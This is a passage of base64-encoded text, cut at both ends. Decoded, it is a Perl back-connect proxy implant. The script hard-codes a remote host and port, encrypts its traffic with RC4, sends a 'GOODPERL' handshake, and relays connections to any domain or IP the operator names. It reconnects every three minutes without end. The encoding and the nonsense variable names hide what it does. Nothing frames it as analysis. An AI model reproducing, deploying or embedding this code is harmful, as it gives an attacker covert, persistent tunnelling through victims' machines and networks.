W1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQ